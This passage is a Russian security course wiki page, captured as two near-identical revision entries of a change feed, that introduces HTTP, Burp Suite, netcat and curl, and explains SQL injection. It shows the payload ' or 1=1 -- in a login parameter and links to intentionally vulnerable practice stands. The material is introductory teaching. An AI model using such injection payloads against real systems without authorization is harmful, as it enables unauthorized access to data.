		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=675</id>
		<title>Введение в практическую безопасность (2019)/HTTP, инструменты &amp; SQL injection</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=675"/>
		<updated>2022-06-30T17:27:49Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Burp Suite */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
== HTTP ==&lt;br /&gt;
&lt;br /&gt;
Клиенты (например, веб-браузеры) взаимодействуют с веб-приложениями по протоколу &#039;&#039;&#039;HTTP&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/HTTP википедия], стандарт HTTP 1.1: [https://tools.ietf.org/html/rfc2616 RFC 2616], [https://tools.ietf.org/html/rfc7230 RFC 7230], [https://tools.ietf.org/html/rfc7231 RFC 7231]). Он работает поверх [https://ru.wikipedia.org/wiki/Transmission_Control_Protocol TCP], стандартный TCP-порт для HTTP это порт &#039;&#039;&#039;80&#039;&#039;&#039;, а для HTTPS (HTTP поверх SSL, т. е. с шифрованием) это порт &#039;&#039;&#039;443&#039;&#039;&#039;. Протокол состоит из запросов (которые клиент отправляет серверу) и ответов (которые сервер присылает в ответ). Протокол HTTP версии 1.1 (наиболее используемой в данный момент) и более ранних - текстовый, то есть сообщения этого протокола человекочитаемые. К примеру, вот запрос, который сделает браузер при переходе по URL http://sql1.stands.course.secsem.ru/users:&amp;lt;br&amp;gt;[[Файл:Http-req-annot.png]] &amp;lt;br&amp;gt;Ответ сервера на него:&amp;lt;br&amp;gt;[[Файл:Http-res-annot.png]]&amp;lt;br&amp;gt;Ещё пример, запрос, который сделает браузер при попытке (неудачной) залогиниться на сайте vk.com c почтой &amp;quot;admin@adminmail.ru&amp;quot; и паролем &amp;quot;adminpassword&amp;quot;:&amp;lt;br&amp;gt;[[Файл:Http-req-post-annot.png]]&amp;lt;br&amp;gt;Ответ сервера на этот запрос&amp;lt;br&amp;gt;[[Файл:Http-res-post-annot.png]]&lt;br /&gt;
&lt;br /&gt;
Еще информация: про основы веб-технологий &amp;lt;s&amp;gt;[http://old.secsem.ru/lections?action=AttachFile&amp;amp;do=get&amp;amp;target=infosec-network2013-4-%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B+%D0%B2%D0%B5%D0%B1-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9.pdf в слайдах нашего спецкурса 2013 года]&amp;lt;/s&amp;gt; [https://www.youtube.com/watch?v=drpCqzSpvq4 в видео лекции Андрея Петухова на нашем спецкурсе 2013 года].&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
Для анализа HTTP-взаимодействия между клиентом и сервером, а также для вмешательства в него удобен &#039;&#039;&#039;Burp Suite&#039;&#039;&#039;. Он может работать как HTTP-proxy, то есть получать от клиента запрос и пересылать его серверу, получать ответ сервера и передавать его клиенту. При этом Burp может показывать запросы и ответы пользователю, задерживать и изменять их. Кроме этого, он может формировать и отправлять новые HTTP-запросы сам (&amp;quot;вручную&amp;quot;). [https://portswigger.net/burp/documentation/desktop/getting-started Здесь написано как его скачать и начать использовать].&lt;br /&gt;
&lt;br /&gt;
=== Netcat и curl ===&lt;br /&gt;
&lt;br /&gt;
Более простые инструменты, позволяющие отправлять HTTP-запросы веб-приложению и получать ответы - &#039;&#039;&#039;netcat&#039;&#039;&#039; и &#039;&#039;&#039;curl&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Netcat&#039;&#039;&#039; ([https://www.opennet.ru/man.shtml?topic=netcat man]) позволяет установить tcp-соединение, после чего отправляет на другой конец всё что подано ему на стандартный ввод и печатает на стандартный вывод всё, что получил. Он позволяет буквально &amp;quot;руками&amp;quot; набрать и отправить HTTP-запрос. Вот как можно отправить запрос, соответствующий переходу по URL http://mail.ru:&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc mail.ru 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:08:08 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
^C&amp;lt;/pre&amp;gt;&lt;br /&gt;
То же самое, но с флагом &amp;quot;-v&amp;quot; (который говорит Netcat выдавать более подробную диагностику, в т. ч. написать об успешности установления TCP-соединения и парой дополнительных HTTP-заголовков (заголовок &amp;quot;Connection: close&amp;quot; говорит серверу что после этого запроса TCP-соединение будет закрыто, новых запросов в нём не будет):&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc -v mail.ru 80&lt;br /&gt;
Connection to mail.ru 80 port [tcp/http] succeeded!&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
Accept: */*&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:14:37 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: close&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;curl&#039;&#039;&#039; ([https://curl.haxx.se/docs/manpage.html man]) позволяет очень просто делать HTTP-запросы из консоли.&lt;br /&gt;
&amp;lt;pre&amp;gt;$ curl -v http://example.org&lt;br /&gt;
* Rebuilt URL to: http://example.org/&lt;br /&gt;
*   Trying 93.184.216.34...&lt;br /&gt;
* TCP_NODELAY set&lt;br /&gt;
* Connected to example.org (93.184.216.34) port 80 (#0)&lt;br /&gt;
&amp;gt; GET / HTTP/1.1&lt;br /&gt;
&amp;gt; Host: example.org&lt;br /&gt;
&amp;gt; User-Agent: curl/7.58.0&lt;br /&gt;
&amp;gt; Accept: */*&lt;br /&gt;
&amp;gt; &lt;br /&gt;
&amp;lt; HTTP/1.1 200 OK&lt;br /&gt;
&amp;lt; Cache-Control: max-age=604800&lt;br /&gt;
&amp;lt; Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&amp;lt; Date: Sun, 24 Feb 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Etag: &amp;quot;1541025663+ident&amp;quot;&lt;br /&gt;
&amp;lt; Expires: Sun, 03 Mar 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT&lt;br /&gt;
&amp;lt; Server: ECS (phd/FD58)&lt;br /&gt;
&amp;lt; Vary: Accept-Encoding&lt;br /&gt;
&amp;lt; X-Cache: HIT&lt;br /&gt;
&amp;lt; Content-Length: 1270&lt;br /&gt;
&amp;lt; &lt;br /&gt;
&amp;lt;!doctype html&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Example Domain&amp;lt;/title&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;meta http-equiv=&amp;quot;Content-type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Веб-приложения нередко используют SQL-базы данных, т. е. такие БД, взаимодействие с которыми осуществляется через запросы на языке &#039;&#039;&#039;SQL&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/SQL википедия], [http://citforum.ru/database/osbd/glava_55.shtml#_5 курс &amp;quot;Основы современных баз данных&amp;quot; С.Д. Кузнецова]). Поиграться с SQL можно просто в [http://sqlfiddle.postgrespro.ru/#!17//5814 SQL Fiddle] или с помощью [https://linux.die.net/man/1/sqlite3 sqlite3]. Пример SQL-запросов и ответов на них:&amp;lt;br&amp;gt;[[Файл:Sql1-annotated.png]]&amp;lt;br&amp;gt;[[Файл:Sql2-annotated.png]]&amp;lt;br&amp;gt;Веб-приложение формирует и отправляет базе SQL-запросы, которые могут зависеть от параметров, пришедших от клиента (взятых из HTTP-запроса). SQL-запросы текстовые и простой способ сделать запрос, зависящий от параметра - просто подставить этот параметр в текст запроса.&lt;br /&gt;
Пример кода (на языке [https://www.python.org/ Python]), подставляющего параметр из HTTP-запроса в SQL-запрос к базе:&lt;br /&gt;
[[Файл:Sqli-code.png|650px]]&lt;br /&gt;
Здесь &amp;quot;request.args.get(&#039;login&#039;)&amp;quot; считывает значение параметра &amp;quot;login&amp;quot; query string запроса. Вот какой вид примет запрос, если параметр login будет иметь значение &amp;quot;testuser&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-req.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Значение &amp;quot;testuser&amp;quot; подставилось в строковый литерал в одинарных кавычках. Говорят, что значение попало в &#039;&#039;&#039;контекст&#039;&#039;&#039; строкового литерала.&lt;br /&gt;
После такой подстановки может оказаться, что смысл SQL-запроса изменился и данные, подставленые в запрос стали не просто значением параметра запроса (скажем, числовым или стокововым литералом), а какими-то еще конструкциями языка SQL. Вот какой запрос будет сформирован, если параметр &amp;quot;login&amp;quot; будет иметь значение &amp;lt;code&amp;gt;&#039; or 1=1 --&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sqli-annot.png|540px]]&lt;br /&gt;
&lt;br /&gt;
В результате выражение в &amp;lt;code&amp;gt;WHERE&amp;lt;/code&amp;gt;-части приняло вид &amp;lt;code&amp;gt;login=&amp;amp;#39;&amp;amp;#39; or 1=1&amp;lt;/code&amp;gt;, оно будет истинным для любой строки таблицы, в результате чего в ответ на этот запрос будут возвращены все строки таблицы. Так же можно изменить смысл запроса и передав специфическое значение параметра id для этого кода (для этого даже не придётся добавлять в значение параметра кавычку):&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-id.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Возможность передать такое значение параметра HTTP-запроса, которое подставится в текст SQL-запроса и при подстановке изменит смысл этого запроса называется &#039;&#039;&#039;SQL injection&#039;&#039;&#039; ([https://www.owasp.org/index.php/SQL_Injection OWASP]). Хорошую статью про SQL injection можно [https://rdot.org/forum/showthread.php?s=f4292383c9896b773bd98d827eb9411f&amp;amp;t=124 найти тут] и [http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet еще тут].&lt;br /&gt;
&lt;br /&gt;
Попробовать эксплуатировать SQL injection можно на этих уязвимых приложениях:&lt;br /&gt;
* http://sql1.stands.course.secsem.ru/ ([https://course.secsem.ru/task-src/sql1.tgz исходный код])&lt;br /&gt;
* http://sql2.stands.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
Фактически, SQLi это один из представителей класса уязвимостей &#039;&#039;&#039;injection&#039;&#039;&#039;, которые получаются, если в какие-то управляющие команды подставляются параметры-данные от пользователя и эти данные могут выйти из контекста, куда подставляются, перестав быть просто данными, и поменять смысл команды.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=674</id>
		<title>Введение в практическую безопасность (2019)/HTTP, инструменты &amp; SQL injection</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=674"/>
		<updated>2022-06-30T17:26:16Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* HTTP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
== HTTP ==&lt;br /&gt;
&lt;br /&gt;
Клиенты (например, веб-браузеры) взаимодействуют с веб-приложениями по протоколу &#039;&#039;&#039;HTTP&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/HTTP википедия], стандарт HTTP 1.1: [https://tools.ietf.org/html/rfc2616 RFC 2616], [https://tools.ietf.org/html/rfc7230 RFC 7230], [https://tools.ietf.org/html/rfc7231 RFC 7231]). Он работает поверх [https://ru.wikipedia.org/wiki/Transmission_Control_Protocol TCP], стандартный TCP-порт для HTTP это порт &#039;&#039;&#039;80&#039;&#039;&#039;, а для HTTPS (HTTP поверх SSL, т. е. с шифрованием) это порт &#039;&#039;&#039;443&#039;&#039;&#039;. Протокол состоит из запросов (которые клиент отправляет серверу) и ответов (которые сервер присылает в ответ). Протокол HTTP версии 1.1 (наиболее используемой в данный момент) и более ранних - текстовый, то есть сообщения этого протокола человекочитаемые. К примеру, вот запрос, который сделает браузер при переходе по URL http://sql1.stands.course.secsem.ru/users:&amp;lt;br&amp;gt;[[Файл:Http-req-annot.png]] &amp;lt;br&amp;gt;Ответ сервера на него:&amp;lt;br&amp;gt;[[Файл:Http-res-annot.png]]&amp;lt;br&amp;gt;Ещё пример, запрос, который сделает браузер при попытке (неудачной) залогиниться на сайте vk.com c почтой &amp;quot;admin@adminmail.ru&amp;quot; и паролем &amp;quot;adminpassword&amp;quot;:&amp;lt;br&amp;gt;[[Файл:Http-req-post-annot.png]]&amp;lt;br&amp;gt;Ответ сервера на этот запрос&amp;lt;br&amp;gt;[[Файл:Http-res-post-annot.png]]&lt;br /&gt;
&lt;br /&gt;
Еще информация: про основы веб-технологий &amp;lt;s&amp;gt;[http://old.secsem.ru/lections?action=AttachFile&amp;amp;do=get&amp;amp;target=infosec-network2013-4-%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B+%D0%B2%D0%B5%D0%B1-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9.pdf в слайдах нашего спецкурса 2013 года]&amp;lt;/s&amp;gt; [https://www.youtube.com/watch?v=drpCqzSpvq4 в видео лекции Андрея Петухова на нашем спецкурсе 2013 года].&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
Для анализа HTTP-взаимодействия между клиентом и сервером, а также для вмешательства в него удобен &#039;&#039;&#039;Burp Suite&#039;&#039;&#039;. Он может работать как HTTP-proxy, то есть получать от клиента запрос и пересылать его серверу, получать ответ сервера и передавать его клиенту. При этом Burp может показывать запросы и ответы пользователю, задерживать и изменять их. Кроме этого, он может формировать и отправлять новые HTTP-запросы сам (&amp;quot;вручную&amp;quot;). [http://demo.secsem.ru/workshop/burp Здесь написано как его скачать и начать использовать].&lt;br /&gt;
&lt;br /&gt;
=== Netcat и curl ===&lt;br /&gt;
&lt;br /&gt;
Более простые инструменты, позволяющие отправлять HTTP-запросы веб-приложению и получать ответы - &#039;&#039;&#039;netcat&#039;&#039;&#039; и &#039;&#039;&#039;curl&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Netcat&#039;&#039;&#039; ([https://www.opennet.ru/man.shtml?topic=netcat man]) позволяет установить tcp-соединение, после чего отправляет на другой конец всё что подано ему на стандартный ввод и печатает на стандартный вывод всё, что получил. Он позволяет буквально &amp;quot;руками&amp;quot; набрать и отправить HTTP-запрос. Вот как можно отправить запрос, соответствующий переходу по URL http://mail.ru:&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc mail.ru 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:08:08 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
^C&amp;lt;/pre&amp;gt;&lt;br /&gt;
То же самое, но с флагом &amp;quot;-v&amp;quot; (который говорит Netcat выдавать более подробную диагностику, в т. ч. написать об успешности установления TCP-соединения и парой дополнительных HTTP-заголовков (заголовок &amp;quot;Connection: close&amp;quot; говорит серверу что после этого запроса TCP-соединение будет закрыто, новых запросов в нём не будет):&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc -v mail.ru 80&lt;br /&gt;
Connection to mail.ru 80 port [tcp/http] succeeded!&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
Accept: */*&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:14:37 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: close&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;curl&#039;&#039;&#039; ([https://curl.haxx.se/docs/manpage.html man]) позволяет очень просто делать HTTP-запросы из консоли.&lt;br /&gt;
&amp;lt;pre&amp;gt;$ curl -v http://example.org&lt;br /&gt;
* Rebuilt URL to: http://example.org/&lt;br /&gt;
*   Trying 93.184.216.34...&lt;br /&gt;
* TCP_NODELAY set&lt;br /&gt;
* Connected to example.org (93.184.216.34) port 80 (#0)&lt;br /&gt;
&amp;gt; GET / HTTP/1.1&lt;br /&gt;
&amp;gt; Host: example.org&lt;br /&gt;
&amp;gt; User-Agent: curl/7.58.0&lt;br /&gt;
&amp;gt; Accept: */*&lt;br /&gt;
&amp;gt; &lt;br /&gt;
&amp;lt; HTTP/1.1 200 OK&lt;br /&gt;
&amp;lt; Cache-Control: max-age=604800&lt;br /&gt;
&amp;lt; Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&amp;lt; Date: Sun, 24 Feb 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Etag: &amp;quot;1541025663+ident&amp;quot;&lt;br /&gt;
&amp;lt; Expires: Sun, 03 Mar 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT&lt;br /&gt;
&amp;lt; Server: ECS (phd/FD58)&lt;br /&gt;
&amp;lt; Vary: Accept-Encoding&lt;br /&gt;
&amp;lt; X-Cache: HIT&lt;br /&gt;
&amp;lt; Content-Length: 1270&lt;br /&gt;
&amp;lt; &lt;br /&gt;
&amp;lt;!doctype html&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Example Domain&amp;lt;/title&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;meta http-equiv=&amp;quot;Content-type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Веб-приложения нередко используют SQL-базы данных, т. е. такие БД, взаимодействие с которыми осуществляется через запросы на языке &#039;&#039;&#039;SQL&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/SQL википедия], [http://citforum.ru/database/osbd/glava_55.shtml#_5 курс &amp;quot;Основы современных баз данных&amp;quot; С.Д. Кузнецова]). Поиграться с SQL можно просто в [http://sqlfiddle.postgrespro.ru/#!17//5814 SQL Fiddle] или с помощью [https://linux.die.net/man/1/sqlite3 sqlite3]. Пример SQL-запросов и ответов на них:&amp;lt;br&amp;gt;[[Файл:Sql1-annotated.png]]&amp;lt;br&amp;gt;[[Файл:Sql2-annotated.png]]&amp;lt;br&amp;gt;Веб-приложение формирует и отправляет базе SQL-запросы, которые могут зависеть от параметров, пришедших от клиента (взятых из HTTP-запроса). SQL-запросы текстовые и простой способ сделать запрос, зависящий от параметра - просто подставить этот параметр в текст запроса.&lt;br /&gt;
Пример кода (на языке [https://www.python.org/ Python]), подставляющего параметр из HTTP-запроса в SQL-запрос к базе:&lt;br /&gt;
[[Файл:Sqli-code.png|650px]]&lt;br /&gt;
Здесь &amp;quot;request.args.get(&#039;login&#039;)&amp;quot; считывает значение параметра &amp;quot;login&amp;quot; query string запроса. Вот какой вид примет запрос, если параметр login будет иметь значение &amp;quot;testuser&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-req.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Значение &amp;quot;testuser&amp;quot; подставилось в строковый литерал в одинарных кавычках. Говорят, что значение попало в &#039;&#039;&#039;контекст&#039;&#039;&#039; строкового литерала.&lt;br /&gt;
После такой подстановки может оказаться, что смысл SQL-запроса изменился и данные, подставленые в запрос стали не просто значением параметра запроса (скажем, числовым или стокововым литералом), а какими-то еще конструкциями языка SQL. Вот какой запрос будет сформирован, если параметр &amp;quot;login&amp;quot; будет иметь значение &amp;lt;code&amp;gt;&#039; or 1=1 --&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sqli-annot.png|540px]]&lt;br /&gt;
&lt;br /&gt;
В результате выражение в &amp;lt;code&amp;gt;WHERE&amp;lt;/code&amp;gt;-части приняло вид &amp;lt;code&amp;gt;login=&amp;amp;#39;&amp;amp;#39; or 1=1&amp;lt;/code&amp;gt;, оно будет истинным для любой строки таблицы, в результате чего в ответ на этот запрос будут возвращены все строки таблицы. Так же можно изменить смысл запроса и передав специфическое значение параметра id для этого кода (для этого даже не придётся добавлять в значение параметра кавычку):&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-id.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Возможность передать такое значение параметра HTTP-запроса, которое подставится в текст SQL-запроса и при подстановке изменит смысл этого запроса называется &#039;&#039;&#039;SQL injection&#039;&#039;&#039; ([https://www.owasp.org/index.php/SQL_Injection OWASP]). Хорошую статью про SQL injection можно [https://rdot.org/forum/showthread.php?s=f4292383c9896b773bd98d827eb9411f&amp;amp;t=124 найти тут] и [http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet еще тут].&lt;br /&gt;
&lt;br /&gt;
Попробовать эксплуатировать SQL injection можно на этих уязвимых приложениях:&lt;br /&gt;
* http://sql1.stands.course.secsem.ru/ ([https://course.secsem.ru/task-src/sql1.tgz исходный код])&lt;br /&gt;
* http://sql2.stands.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
Фактически, SQLi это один из представителей класса уязвимостей &#039;&#039;&#039;injection&#039;&#039;&#039;, которые получаются, если в какие-то управляющие команды подставляются параметры-данные от пользователя и эти данные могут выйти из контекста, куда подставляются, перестав быть просто данными, и поменять смысл команды.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=673</id>
		<title>Введение в практическую безопасность (2019)/HTTP, инструменты &amp; SQL injection</title>
